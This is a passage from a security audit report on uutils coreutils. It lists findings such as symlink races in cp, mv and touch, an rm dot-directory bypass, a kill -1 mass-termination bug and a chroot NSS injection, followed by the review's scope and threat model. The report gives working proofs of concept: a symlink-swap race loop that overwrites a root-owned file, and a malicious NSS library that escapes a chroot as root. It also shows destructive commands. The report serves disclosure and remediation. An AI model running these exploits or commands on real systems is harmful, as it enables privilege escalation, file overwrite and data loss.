Impact

This may lead to the following impacts.

1. It breaks GNU compatibility; scripts expecting `-p` to skip xattrs may fail unexpectedly.
2. As root, the command may inadvertently copy security-sensitive file capabilities or SELinux labels.
3. It can fail on file systems without xattr support because preservation is marked as required.

Recommendations

We recommend setting `Attributes::DEFAULT.xattr` to `Preserve::No { explicit: false }` (or relying on `..Self::NONE`) so `-p` matches GNU behavior.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in PR #9708 ↗. They intend to merge these changes into the production branch.

3.55. cp: Time-of-check to time-of-use symlink swap bypasses no-dereference intent, enabling arbitrary file exfiltration

Target	cp		
Category	Soundness	**Severity**	High
Likelihood	Low	**Impact**	Medium

Description

The uutils `cp` implementation checks whether the source is a symlink via path-based metadata then later opens it by path without `O_NOFOLLOW`, creating a time-of-check to time-of-use window:

```
// cp/src/cp.rs:2318
let source_is_symlink = source.is_symlink(); // <-- Races with concurrent
    modifications
```

Later, copy paths open the source by pathname without `O_NOFOLLOW`:

```
// cp/src/platform/linux.rs:61
let src_file = File::open(&source)?; // <-- No O_NOFOLLOW; follows symlinks
```

An attacker who can mutate the source tree concurrently can swap a regular file with a symlink between the check and open, causing cp to copy the symlink target's contents instead.

Impact

If a privileged user runs cp on an attacker-writable source tree, the attacker can potentially exfiltrate the contents of arbitrary files readable by that privileged user into the chosen destination via a symlink swap race.

Recommendations

We recommend

1. opening sources with `O_NOFOLLOW` at all `File::open` / `std::fs::copy` callsites in cp/src/platform/linux.rs, and
2. passing the opened fd through the copy pipeline to avoid later path reopens.

Remediation

This issue has been acknowledged by Canonical.

3.56. touch: Time-of-check to time-of-use race between existence check and file creation leads to truncation of arbitrary files

Target	touch		
Category	Soundness	**Severity**	Medium
Likelihood	Low	**Impact**	Medium

Description

In touch/src/touch.rs, `touch_file()` checks metadata before creating a missing path:

```
// touch/src/touch.rs:438-442
let metadata_result = if opts.no_deref {
    path.symlink_metadata()
} else {
    path.metadata()
};
```

When the lookup returns `NotFound`, it later creates the file with `File::create()`:

```
// touch/src/touch.rs:467
if let Err(e) = File::create(path) {
```

Then `File::create()` opens with `O_CREAT|O_TRUNC`, so a concurrent creator or symlink swap between the check and create can cause `touch` to truncate an existing file. GNU `touch` uses a single `openat(O_CREAT)` without `O_TRUNC`, avoiding this time-of-check to time-of-use issue.

Impact

This has the following main impacts.

1. Attacker-writable directories or attacker-controlled paths can be raced to truncate a target file, especially under elevated privileges.
2. Data loss occurs when an attacker wins the race, as file contents are permanently destroyed by the truncation.

Recommendations

We recommend opening once without `O_TRUNC` and updating timestamps via that handle.

Remediation

This issue has been acknowledged by Canonical.

3.57. touch: Missing reference files are masked as `touch -r` silently accepts dangling symlinks

Target	touch		
Category	Business Logic	**Severity**	Low
Likelihood	Low	**Impact**	Low

Description

The `stat` helper in touch/src/touch.rs falls back to `symlink_metadata` on any error when `follow` is true (default):

```
// touch/src/touch.rs:578-583
fn stat(path: &Path, follow: bool) -> std::io::Result<(FileTime, FileTime)> {
    let metadata = if follow {
        fs::metadata(path).or_else(|_| fs::symlink_metadata(path)) // <--
    Falls back on ANY error, including ENOENT for dangling symlink
    } else {
        fs::symlink_metadata(path)
    }?;
```

When `touch -r <ref> <dst>` resolves a dangling symlink reference, `stat` returns the symlink's timestamps instead of erroring. GNU `touch` fails because the reference target is inaccessible.

Impact

This may mask `-r`/`--reference` failures, so scripts may treat missing references as valid, and break GNU compatibility.

Recommendations

We recommend propagating `fs::metadata` errors rather than falling back to `symlink_metadata` in `stat` so `touch -r` fails on dangling symlinks like GNU.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in commit 949f038b ↗.

3.58. mknod: Mislabeled device nodes are created with broken cleanup on SELinux systems

Target	mknod		
Category	Code Maturity	**Severity**	High
Likelihood	Medium	**Impact**	High

Description

The uutils implementation calls `mknod` before setting the SELinux context. If `set_selinux_security_context` fails, cleanup uses `std::fs::remove_dir`, which cannot remove device nodes or FIFOs, leaving the mislabeled node behind. GNU uses `setfscreatecon` before `mknod`, so the node is created with the correct label atomically or not created at all.

Postcreation labeling allows mislabeled nodes:

```
// mknod/src/mknod.rs:94-105
if let Err(e) = uucore::selinux::set_selinux_security_context(  // <-- Context
    set AFTER node exists
    std::path::Path::new(file_name),
    config.context,
) {
    let _ = std::fs::remove_dir(file_name);  // <-- remove_dir cannot remove
    device nodes or FIFOs
    eprintln!("{}: {}", uucore::util_name(), e);
    return 1;
}
```

Additionally, cleanup uses the incorrect function for device nodes. The cleanup path uses `std::fs::remove_dir`, which only removes directories. Device nodes and FIFOs created by `mknod` require `std::fs::remove_file` for removal.

Impact

This may lead to the following impacts.

1. On SELinux-enforcing systems, the node is created with incorrect default context rather than the requested label.
2. The command reports failure but leaves a mislabeled device node behind, potentially allowing unintended access to processes that should be denied by mandatory access

control.

3. Failed cleanup creates orphaned nodes that may persist across reboots.

Recommendations

Use `std::fs::remove_file(file_name)` so cleanup removes device nodes and FIFOs correctly.

Additionally, apply SELinux context via `setfscreatecon` before `mknod` and restore the context afterward; if setup fails, abort creation entirely.

Remediation

This issue has been acknowledged by Canonical.

3.59. Safe traversal module is only enabled on Linux, missing time-of-check to time-of-use protection on other platforms

Target	safe_traversal		
Category	Soundness	**Severity**	Low
Likelihood	N/A	**Impact**	Low

Description

The safe_traversal module is compiled only on Linux via `#[cfg(target_os = "linux")]` even though it relies on POSIX.1-2008 fd-relative syscalls (`openat`, `fstatat`, `fchmodat`, `fchownat`, `unlinkat`) that `nix` exposes on macOS and the BSDs.

Impact

Non-Linux builds miss fd-relative traversal and its time-of-check to time-of-use reduction, leaving those platforms vulnerable to symlink race conditions during directory traversal.

Recommendations

Since this is overly conservative, we recommend expanding the `cfg` gate to other tested Unix targets (macOS, FreeBSD, etc.) where `nix` provides the required syscalls.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in commit 30239e69 ↗.

3.60. rm: `rm -rf ./` and variants silently delete current directory contents, bypassing dot directory protection

Target	rm		
Category	Soundness	**Severity**	Critical
Likelihood	High	**Impact**	Critical

Description

The `rm` command has protection mechanisms for the current directory `.` and parent directory `..`. When a user executes `rm -rf .`, it correctly refuses to delete

```
$ rm -rf .
rm: refusing to remove '.' or '..' directory: skipping '.'
```

However, when using `rm -rf ./` or `rm -rf .///` with trailing slashes, the command reports a misleading error that makes users think the deletion failed, but in reality all contents of the current directory have already been recursively deleted:

```
$ rm -rf ./
rm: cannot remove './': Invalid input
```

The root cause is that the `clean_trailing_slashes` function normalizes `.///` to `./`:

```
fn clean_trailing_slashes(path: &Path) -> &Path {
    ...
    // Checks if element at the end is a '/'
    if path_bytes[idx] == dir_separator {
        for i in (1..path_bytes.len()).rev() {
            if path_bytes[i - 1] != dir_separator {
                idx = i;
                break;
            }
        }
        #[cfg(unix)]
        return Path::new(OsStr::from_bytes(&path_bytes[0..=idx]));
        ...
    }
    ...
}
```

But the `path_is_current_or_parent_directory` function only matches `.` and `..`, not equivalent paths like `./` or `../`:

```
fn path_is_current_or_parent_directory(path: &Path) -> bool {
    let path_str = os_str_as_bytes(path.as_os_str());
    let dir_separator = MAIN_SEPARATOR as u8;
    if let Ok(path_bytes) = path_str {
        return path_bytes == ([b'.'])
            || path_bytes == ([b'.', b'.'])
            || path_bytes.ends_with(&[dir_separator, b'.'])
            || path_bytes.ends_with(&[dir_separator, b'.', b'.'])
            ...
    }
    false
}
```

Impact

All files and subdirectories in the current directory are silently deleted recursively, and the misleading error message `Invalid input` causes users to miss the window for data recovery.

Recommendations

Add checks for trailing slash variants in the `path_is_current_or_parent_directory` function.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in commit `d0e5af23` ↗.

3.61. mv: Directory symlinks are treated as files in mv

Target	mv		
Category	Soundness	**Severity**	Medium
Likelihood	Medium	**Impact**	Medium

Description

GNU `mv` treats a destination path that is a symlink to a directory as a directory; `mv file link_to_dir` moves the file into the directory pointed to by the symlink. In the Rust implementation, the destination is treated as a file when it is a symlink, causing the symlink itself to be overwritten and destroyed.

This behavior deviation is caused by directory detection being influenced by an `is_symlink` check, treating all symlinks as nondirectories.

Here are the reproduction steps.

```
## GNU
rm -rf real_dir link_to_dir file
mkdir -p real_dir
ln -s real_dir link_to_dir
echo payload > file
mv file link_to_dir

## uutils
rm -rf real_dir link_to_dir file
mkdir -p real_dir
ln -s real_dir link_to_dir
echo payload > file
coreutils mv file link_to_dir
```

GNU moves `file` into the real directory, leaving `link_to_dir` intact, while uutils replaces `link_to_dir` (the symlink) with a regular file, breaking the symlink.

Impact

The destination symlink can be unintentionally destroyed and replaced with file data, causing unexpected data loss and breaking workflows that use directory symlinks as stable entry points.

Recommendations

Determine whether the destination is a directory using symlink-following metadata (i.e., treat a symlink to a directory as a directory by default), matching GNU behavior unless `--no-target-directory` (`-T`) is explicitly requested.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in commit 62ae994b ↗.

3.62. mv: Copy time-of-check to time-of-use race

Target	mv		
Category	Coding Mistakes	**Severity**	High
Likelihood	Low	**Impact**	High

Description

During cross-device moves, `mv` cannot use `rename()` and must fall back to copy and delete. The uutils `mv` implementation introduces a race window by removing the destination path before recreating it:

- GNU: `copy(src -> dest)` (open/truncate) → `remove(src)` (no separate early unlink of `dest`)
- uutils: `remove(dest)` → `copy(src -> dest)` → `remove(src)`

If a privileged process performs such a move into an attacker-writable directory, an attacker can recreate `dest` as a symlink between the removal and the copy. The subsequent copy follows the symlink and overwrites an attacker-chosen target file.

Here are the reproduction steps (an example using `/tmp` and `/home` on different file systems),

```
# Source file on filesystem A
echo "PAYLOAD_FROM_SRC" > /tmp/src_file

# Victim file on filesystem B, readable/writable only by root
mkdir -p /home/$USER/secure
echo "ORIGINAL_SECRET" > /home/$USER/secure/victim
chmod 600 /home/$USER/secure/victim
sudo chown root:root /home/$USER/secure/victim

# Initial destination path (attacker-writable)
echo "PLACEHOLDER" > /home/$USER/target
```

the attacker loop,

```
while true; do
  ln -sf /home/$USER/secure/victim /home/$USER/target
done
```

and the privileged loop:

```
while true; do
  echo "PAYLOAD_FROM_SRC" > /tmp/src_file
  coreutils mv /tmp/src_file /home/$USER/target 2>/dev/null
done
```

After a short time,

```
$ sudo cat /home/$USER/secure/victim
PAYLOAD_FROM_SRC
```

Impact

This may lead to an arbitrary file overwrite via symlink race. If `mv` runs with elevated privileges and crosses file-system boundaries, an attacker can redirect the write into a sensitive file by swapping the destination to a symlink during the race window.

Recommendations

Avoid unlink-then-create destination patterns in cross-device fallback.

Remediation

This issue has been acknowledged by Canonical. This item is being tracked in issue #10015 ↗.

3.63. mv: Symlinks incorrectly expanded during cross-device move

Target	mv		
Category	Soundness	**Severity**	High
Likelihood	Medium	**Impact**	High

Description

When moving directories across file-system boundaries, uutils `mv` expands symlinks inside the directory tree, copying the symlink targets as real files/directories instead of preserving symlinks. GNU `mv` preserves symlinks by default.

Here are the reproduction steps.

```
# On filesystem A (e.g., /tmp):
mkdir -p /tmp/src
echo local > /tmp/src/local.txt
ln -s /etc /tmp/src/etc_link

# On filesystem B (e.g., /home):
mv /tmp/src /home/dst
```

For GNU, `/home/dst/src/etc_link` remains a symlink to `/etc`, while for uutils, `/home/dst/src/etc_link` becomes a real directory containing a copy of `/etc`.

Impact

This may have several impacts.

1. **Resource exhaustion.** A small directory tree can expand into a huge copy (time/disk denial of service) if it contains symlinks to large directories.
2. **Unexpected data duplication.** Sensitive paths referenced by symlink (e.g., `/etc`, log directories, home directories) may be copied into unintended locations.
3. **Symlink-loop amplification.** Directory trees containing symlink loops (e.g., `sub/loop -> ..`) may trigger very deep recursion and repeated copying.

Recommendations

In cross-device fallback paths, preserve symlinks by default (dereference-never) by detecting symlinks via `symlink_metadata()` and recreating them with `read_link()` / `symlink()` instead of recursing into their targets. Add loop detection and regression tests for directory symlink scenarios.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in commit 9654e4ab ↗.

3.64. mv: Cross-device symlink fallback EEXIST

Target	mv		
Category	Completeness	**Severity**	Low
Likelihood	Medium	**Impact**	Low

Description

When moving a symlink across file systems onto an existing destination path, uutils `mv` fails with `EEXIST` instead of replacing the destination like GNU `mv` does.

Here are the reproduction steps.

```
# On filesystem A (e.g. /tmp), create a symlink:
ln -s /etc/passwd /tmp/src_link

# On filesystem B (e.g. /home), create an existing destination:
touch /home/$USER/dst_exists

coreutils mv /tmp/src_link /home/$USER/dst_exists
```

For GNU, `dst_exists` is replaced with the symlink, and uutils fails with `File exists (os error 17)`.

Impact

Cross-device moves involving symlinks fail unexpectedly instead of overwriting the destination, breaking GNU compatibility and scripting assumptions.

Recommendations

In the cross-device symlink fallback path, replace existing destinations (unlink first, then create the symlink, or create a temporary symlink and `rename()` it over the destination) to match GNU semantics.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in PR #10069. They intend to merge these changes into the production branch.

3.65. printf: Format-string parsing overflow causes panic

Target	printf		
Category	Coding Mistakes	**Severity**	Low
Likelihood	Low	**Impact**	Low

Description

When parsing width/precision values in format strings, `printf` does not properly handle integer overflow. When extremely large values are passed, the `eat_number` function causes the process to panic due to `unwrap()`.

```
$ printf '%99999999999999999999999d' 1

thread 'main' panicked at src/uucore/src/lib/features/format/spec.rs:599:18:
called `Result::unwrap()` on an `Err` value: ParseIntError { kind: PosOverflow
    }
```

GNU printf handles this case correctly without crashing:

```
$ printf '%99999999999999999999999d' 1
1
```

Impact

When a format string contains width/precision values that exceed the integer range, the printf process crashes.

Recommendations

Use proper error handling instead of `unwrap()` in the `eat_number` function. For overflow cases, return a reasonable default value or report an error message.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in commit `0b63ffca` ↗.

3.66. printenv: Environment variables with invalid UTF-8 are silently skipped

Target	printenv		
Category	Soundness	**Severity**	Medium
Likelihood	Medium	**Impact**	Medium

Description

The `printenv` implementation skips environment variables containing invalid UTF-8 bytes, while GNU `printenv` prints the raw bytes and exits successfully. This diverges from GNU behavior and can hide entries during environment inspection.

The cause is using `std::env::vars()` and `std::env::var()`, which drop non–UTF-8 values (`var()` returns `NotUnicode`) without exposing the original bytes.

```
# GNU:
LD_PRELOAD=$'/tmp/lib.so\xff' printenv LD_PRELOAD 2>/dev/null | od -An -tx1
# Output: 2f 74 6d 70 2f 6c 69 62 2e 73 6f ff 0a
# Exit: 0

# uutils:
LD_PRELOAD=$'/tmp/lib.so\xff' printenv LD_PRELOAD 2>/dev/null | wc -c
# Output: 0
# Exit: 1
```

Impact

POSIX allows arbitrary bytes in environment strings. Invalid UTF-8 appears in practice:

- Corrupted configuration files that inject malformed environment values
- Binary data in CGI environments or interprocess communication
- Intentionally crafted malicious entries (e.g., `LD_PRELOAD`) designed to evade inspection

As a result, `printenv` can omit security-critical values such as `LD_PRELOAD` from user inspection, allowing malicious library injection to go undetected.

Recommendations

We recommend using `std::env::vars_os()` / `var_os()` and emitting raw bytes; treat `None` as missing and preserve current exit behavior.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in commit `0bfbbc00`.

3.67. nohup: World-readable output files are created, exposing command output to other users

Target	nohup		
Category	Coding Mistakes	**Severity**	Medium
Likelihood	Medium	**Impact**	Medium

Description

The `find_stdout` function in nohup/src/nohup.rs creates `nohup.out` without explicit permissions:

```
// nohup/src/nohup.rs:132-135
match OpenOptions::new()
    .create(true)
    .append(true)
    .open(Path::new(NOHUP_OUT)) // <-- No .mode() specified, inherits
    umask-based permissions
```

This uses default creation permissions (`0666 & ~umask`). With a common `022` umask, the file becomes `0644` (world-readable). GNU coreutils creates `nohup.out` as `0600` when it creates the file.

Impact

Information disclosure on multiuser systems is impacted. When `nohup.out` is created in a directory readable by other users (e.g., shared project directories, `/tmp`, or home directories with permissive modes), any user on the system can read the captured stdout/stderr output of the command.

Recommendations

We recommend adding `.mode(0o600)` to both `OpenOptions::new()` chains in `find_stdout` (lines 132–135 and 151) so `nohup.out` is created owner-only, matching GNU behavior.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in PR #10032 ↗. They intend to merge these changes into the production branch.

3.68. stty: Success is silently reported when terminal settings are only partially applied

Target	stty		
Category	Soundness	**Severity**	Medium
Likelihood	Low	**Impact**	Medium

Description

POSIX allows `tcsetattr` to return success after only partially applying the requested changes. GNU stty rereads terminal settings after `tcsetattr` and fails if they differ. However, uutils calls `tcsetattr` and returns success without verification.

From GNU/Linux/POSIX man page ↗

> The `tcsetattr()` function shall return successfully if it was able to perform any of the requested actions, even if some of the requested actions could not be performed.

```
// stty/src/stty.rs:426-431
...
        ArgOptions::SavedState(state) => {
            apply_saved_state(&mut termios, state)?;
        }
    }
}
tcsetattr(opts.file.as_fd(), set_arg, &termios)?; // <-- Returns success even
    if only partial settings applied
```

GNU performs `tcgetattr` after setting, compares with `eq_mode()`, and calls `error(EXIT_FAILURE, ...)` if settings do not match.

Impact

On platforms where `tcsetattr` drops some changes, uutils exits successfully while the terminal remains misconfigured.

Also, scripts disabling echo for password input may silently fail, exposing sensitive data to screen or terminal logs.

Recommendations

After `tcsetattr`, call `tcgetattr`, compare to the requested settings, and exit nonzero if they differ (GNU's `eq_mode()` behavior).

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in PR #10569 ↗. They intend to merge these changes into the production branch.

3.69. chroot: –userspec Name Service Switch injection before privilege drop (glibc)

Target	chroot		
Category	Coding Mistakes	**Severity**	Critical
Likelihood	Medium	**Impact**	Critical

Description

After calling `chroot()` but before dropping privileges, uutils resolves `--userspec`. On glibc systems, resolving usernames via `getpwnam()` can invoke Name Service Switch (NSS), which reads `/etc/nsswitch.conf` and may `dlopen()` NSS modules (`libnss_*.so.2`). After `chroot()`, these files may be loaded from `NEWROOT`, so a writable `NEWROOT` can inject an arbitrary `libnss_*.so.2` and gain code execution before the intended privilege drop.

In uutils `chroot`, the order is as follows:

```
fn set_context(options: &Options) -> UResult<()> {
    enter_chroot(&options.newroot, options.skip_chdir)?;

    match &options.userspec {
        // ...
        Some(UserSpec::UserOnly(user)) => {
            let uid = name_to_uid(user)?; // getpwnam() -> NSS -> dlopen()
            // ...
            set_gid(gid)?;
            set_uid(uid)?;
        }
    }
    Ok(())
}
```

Here are the reproduction steps:

```
#!/usr/bin/env bash
set -euo pipefail

ROOT=/tmp/nss_poc
nssdir=$(dirname "$(ldconfig -p | awk '/libnss_files\\.so\\.2/{print $NF;
    exit}')")
```

```
rm -rf "$ROOT"
mkdir -p "$ROOT/etc" "$ROOT/tmp" "$ROOT$nssdir"
printf 'passwd: evilnss\n' >"$ROOT/etc/nsswitch.conf"

gcc -shared -fPIC -o "$ROOT$nssdir/libnss_evilnss.so.2" -x c - <<'EOF'
#include <nss.h>
#include <pwd.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
__attribute__((constructor))
static void pwn(void){
  mkdir("escape_jail", 0755);
  int fd = open(".", O_RDONLY);
  chroot("escape_jail");

  fchdir(fd);
  for (int i = 0; i < 100; i++) {
    chdir("..");
  }
  chroot(".");
  int fd2=open("/tmp/pwned",O_WRONLY|O_CREAT|O_TRUNC,0644);
  if(fd2>=0){write(fd2,"PWNED\n",6);close(fd);}
}
enum nss_status _nss_evilnss_getpwnam_r(const char*, struct passwd*, char*,
    size_t, int*){
  return NSS_STATUS_NOTFOUND;
}
EOF

rm -f /tmp/pwned "$ROOT/tmp/pwned"
sudo coreutils chroot --userspec=nosuchuser "$ROOT" /no_such_cmd 2>/dev/null
    || true
ls -la "/tmp/pwned"
```

GNU coreutils: the attempt fails and no file is created on the host (change "./target/release/coreutils chroot" to "chroot"):

```
$ ls -la /tmp/pwned
ls: cannot access '/tmp/pwned': No such file or directory
```

uutils: the attempt succeeds and results in host file creation.

```
$ ls -la /tmp/pwned
-rw-r--r-- 1 root root /tmp/pwned
```

Impact

If `NEWROOT` is writable by an attacker and `chroot --userspec ...` is invoked, this enables code execution as root before the privilege drop, breaking the safety expectation of "enter chroot then drop privileges" and allowing chroot escape.

Recommendations

Resolve `--userspec` (and any other name service lookups) *before* entering the chroot, using the host file system and libraries.

Alternatively, require numeric `uid[:gid]` for `--userspec` (no NSS) after `chroot()`, or drop privileges before performing any NSS-driven resolution.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in `PR #11211` ↗. They intend to merge these changes into the production branch.

3.70. kill: Argument parsing error causes system crash

Target	kill		
Category	Coding Mistakes	**Severity**	Critical
Likelihood	High	**Impact**	Critical

Description

In the implementation as of the time of writing, `kill -1` is incorrectly parsed as a positional argument `pid = -1`. Combined with the default signal `SIGTERM`, it ultimately calls `kill(-1, SIGTERM)`, which sends a termination signal to almost all visible processes in the system, potentially causing a system crash.

```
$ kill -1
# Actually executes kill(-1, SIGTERM), sending SIGTERM to all processes
# System crash!
```

This differs completely from GNU kill's behavior. When given arguments like `-1` or `-9`, GNU kill correctly recognizes these as signals rather than PIDs and reports a missing PID argument:

```
$ kill -1
kill: not enough arguments
```

Impact

When a user executes `kill -1`, the system sends SIGTERM to all visible processes, causing a system crash or massive process termination.

Recommendations

Fix the argument-parsing logic so that arguments in the form `-N` (where N is a number) are parsed as signal numbers rather than negative PIDs. If no target PID is provided, report the `not enough arguments` error and exit.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in commit cae94028 ↗.

3.71. id: Pretty print crash on malformed group ID

Target	File content manipulation		
Category	Coding Mistakes	**Severity**	Medium
Likelihood	Medium	**Impact**	Medium

Description

When doing a pretty print, the result of `entries::gid2grp()` is directly unwrapped.

```
println!(
    "{}\t{}",
    translate!("id-output-groups"),
    entries::get_groups_gnu(None)
        .unwrap()
        .iter()
        .map(|&gr| entries::gid2grp(gr).unwrap())
        .collect::<Vec<_>>()
        .join(" ")
);
```

The `id` command will crash when given an unmapped group ID for pretty printing.

Impact

The `id` pretty print will crash in a specific environment without group name mapping. This is a common case when setting up a simple chroot sandbox without `passwd`.

Recommendations

Use `unwrap_or_else` or similar to provide a fallback string representation of the GID when it cannot be mapped to a group name.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in PR #10706 ↗. They intend to merge these changes into the production branch.

3.72. id: Incorrect concept of `groups=` section

Target	File content manipulation		
Category	Coding Mistakes	**Severity**	Medium
Likelihood	Medium	**Impact**	Medium

Description

The groups section of the output of the `id` command is the groups that the given user belongs to, including effective GID.

```
[xia0@homebox coreutils]$ id
uid=9000(xia0) gid=9000(xia0) groups=9000(xia0),3000(u3000)
```

However, in id.rs,

```
// [...]
    let (uid, gid) = possible_pw.as_ref().map_or(
        {
            let use_effective = !state.rflag && (state.uflag || state.gflag
    || state.gsflag);
            if use_effective {
                (geteuid(), getegid())
            } else {
                (getuid(), getgid())
            }
        },
        |p| (p.uid, p.gid),
    );
// [...]
let groups = entries::get_groups_gnu(Some(gid)).unwrap();
// [...]
```

the `gid` passed to `entries::get_groups_gnu()` can be a real GID, which can be different from the current effective GID. We created a proof of concept to demonstrate the issue:

```
# add users first
useradd -u 2000 u2000 -M
useradd -u 3000 u3000 -M
# GNU
```

```
sudo setpriv --reuid 3000 --egid 2000 --clear-groups id
uid=3000(u3000) gid=0(root) egid=2000(u2000) groups=2000(u2000)
# uutils
sudo setpriv --reuid 3000 --egid 2000 --clear-groups target/release/id
uid=3000(u3000) gid=0(root) egid=2000(u2000) groups=0(root)
```

Impact

Any scripts that rely on the output of `id` can have unexpected behavior, for example, incorrect access-control decisions, incorrect file permission, and misleading debugging output.

Recommendations

Use `egid` as primary group to compute the groups list.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in PR #10706. They intend to merge these changes into the production branch.

3.73. id: incorrect pretty print behavior when `uid` and `euid` differ

Target	File content manipulation		
Category	Coding Mistakes	**Severity**	Medium
Likelihood	Low	**Impact**	Low

Description

When doing a pretty print, in `fn pretty(possible_pw: Option<Passwd>)`.

```
let eid = getegid();
if eid == rid {
    if let Ok(p) = Passwd::locate(eid) {
        println!("{}\t{}", translate!("id-output-euid"), p.name);
    } else {
        println!("{}\t{eid}", translate!("id-output-euid"));
    }
}

let rid = getgid();
if rid != eid {
    if let Ok(g) = Group::locate(rid) {
        println!("{}\t{}", translate!("id-output-euid"), g.name);
    } else {
        println!("{}\t{rid}", translate!("id-output-euid"));
    }
}
```

it uses `egid` instead of `euid` to lookup the user name. And when `rid == eid`, it will print out `gid`.

Impact

Any scripts that rely on the output of `id` can have unexpected behavior, for example, incorrect access control decisions, wrong file permission and misleading debugging output.

Recommendations

Use `euid` to lookup the effective user name.

Remediation

This issue has been acknowledged by Canonical, and a fix was implemented in PR #10706 ↗. They intend to merge these changes into the production branch.

4. Security Overview

This section outlines the scope of our review, threat model and risk assumptions, and our notes on codebase maturity and design. It also offers several security-hardening recommendations.

4.1. Scope and review focus

This review assessed 40 utilities from uutils coreutils ↗ (commit `5c33a30e`):

- **File access control:** `chgrp`, `chmod`, and `chown`
- **File-system and file-paths manipulation:** `cp`, `install`, `mkdir`, `mkfifo`, `mknod`, `mktemp`, `mv`, `rm`, `rmdir`, `touch`, and `unlink`
- **File content manipulation:** `cat`, `comm`, `dd`, `join`, `sort`, `tac`, `tail`, `tee`, `uniq`, and `wc`
- **User management:** `groups`, `id`, and `users`
- **Process management:** `kill`
- **Process environment management:** `chroot`, `nohup`, `printenv`, `pwd`, and `stty`
- **Miscellaneous:** `echo`, `false`, `pathchk`, `printf`, `test`, `true`, and `yes`

The review covered core implementation logic, error handling, file-system and permission operations, and signal handling.

The primary focus was identifying issues with security impact in plausible Ubuntu usage scenarios, where these utilities are invoked by administrators, shell scripts, system daemons, or privileged processes, but any bugs or behavioral mismatches with the GNU implementation discovered during the review were also reported.

4.2. Threat model and risk assumptions

This review treats uutils/coreutils as a potential drop-in replacement for GNU coreutils on Ubuntu. While these utilities are typically not network facing, they are frequently invoked by privileged automation (e.g., `sudo` workflows, installers, init scripts, and system services). As a result, both classic vulnerability classes (e.g., time-of-check to time-of-use or TOCTOU, symlink/hardlink tricks) and subtle GNU-compatibility differences (e.g., exit codes, locale semantics) can become security relevant.

Assets and security goals

Based on this threat model, the analysis considers the following assets and security goals.

- **Confidentiality.** Avoid unintended disclosure of file contents or metadata when commands operate on attacker-influenced paths.
- **Integrity.** Ensure operations affect only the intended targets, preserve safety guardrails such as root-preservation checks, and apply permissions/ownership changes correctly and in the right order.
- **Availability.** Avoid panics/crashes and resource amplification that can break scripts or cause denial of service.

- **Predictability (GNU alignment).** Match GNU semantics closely enough that existing scripts do not fail open or make unsafe decisions due to divergent outputs, diagnostics, or status codes.

Adversaries and capabilities

We assume a realistic attacker may be

- an unprivileged local user on a multiuser system
- a user who can influence inputs to a privileged script/service that invokes these utilities (file names, directory structure, environment variables, stdin)
- a user who controls part of the file-system namespace (e.g., a world-writable directory) and can create/replace symlinks, hardlinks, FIFOs/devices, and race file-system operations

We assume the attacker cannot directly modify the installed coreutils binaries or bypass kernel-enforced permission checks without an additional vulnerability.

Entry points and trust boundaries

The following entry points and trust boundaries are considered in this review:

- **Arguments and option parsing** — including ambiguous/abbreviated options, special cases like `-1`, and parsing of numeric/format fields
- **Environment** — locale (`LC_*`, `LANG`), temporary directory selection (`TMPDIR`), and other variables that change behavior
- **Stdin and file contents** — potentially large, binary, malformed, or adversarial
- **File-system state** — paths, permissions, xattrs, mountpoints, and concurrent mutation (TOCTOU)
- **Libc/system integration** — name service / user and group resolution (NSS), and other OS-dependent behaviors that may involve dynamic loading or configuration reads

What we considered as having meaningful security impact

Findings were treated as security relevant when they plausibly enable one or more of the following:

- Privilege escalation, containment breakouts, or access-control bypass in privileged execution contexts
- Unauthorized read, write, or deletion beyond the caller's intent (including via path confusion, symlink following, or race windows)
- Bypass or weakening of explicit safety mechanisms (e.g., `--preserve-root`-style protections)
- Misleading outputs / diagnostics / exit statuses that can cause automation to proceed unsafely (fail-open)

- Denial of service via panics/crashes or severe CPU/memory-usage spikes

Purely cosmetic differences were generally treated as lower priority unless they materially affect automation or safety guarantees.

4.3. Codebase maturity and GNU alignment

The uutils/coreutils implementation has a strong foundation of security advantages with memory safety provided by Rust. The audit revealed that the exploitable memory corruption vulnerabilities have been largely mitigated. However, as an future alternative to current system tools, the maturity of the codebase is also dependent on its functional correctness and compatibility with GNU coreutils. They may or may not have direct security implications, but any discrepancies could lead to unexpected behavior in scripts or systems that rely on GNU coreutils, potentially resulting in security misconfigurations or vulnerabilities.

We uncovered several notable divergences that increase risk. For example, our audit identified an issue in the `chroot` command where it does not properly change the group, which could lead to unauthorized access if a user relies on group permissions for security.

The GNU alignment requirement is not only a matter of end results but also crucial for intermediate states. For instance, we identified a race window in the `cp` command that allows an attacker to disclose sensitive files before the final permissions are restricted correctly. Although the final state may match GNU's behavior, the intermediate details can introduce security vulnerabilities.

Several issues arise from naive implementations that do not fully consider the corner cases handled by GNU coreutils and the basic concept of the system. For example, we found multiple issues related to the `--preserve-root` flag in destructive commands like `rm` and `chmod` that are caused by naive path comparisons. These issues could lead to accidental system damage or data loss, which are significant security concerns. In addition, we discovered an incorrect implementation of the `id` command that misrepresents group memberships, potentially leading to incorrect access-control decisions.

When using those system tools in a script or automated process, the semantics of them matter as well. We found that the `sort`, `join`, `wc`, and `uniq` commands do not handle locale settings correctly, which could lead to unexpected behavior in scripts that rely on certain features.

Another alignment concern is error handling and reporting. In order to let users make informed decisions based on command outputs, it is crucial to provide accurate and consistent error messages. We found several instances where error handling deviates from GNU coreutils, which could lead to confusion and misinterpretation of command results. For examples, the overwriting of error code in `chmod`, `chgrp`, and `chown` commands; incorrect error message in the `chmod` command; and incorrect exit code in `cp` command. To deliver error messages gracefully, uncontrolled use of `unwrap()` should be avoided as well; we identified multiple instances of it in various commands such as `id`, `chroot`, `sort`, `tail`, and more.

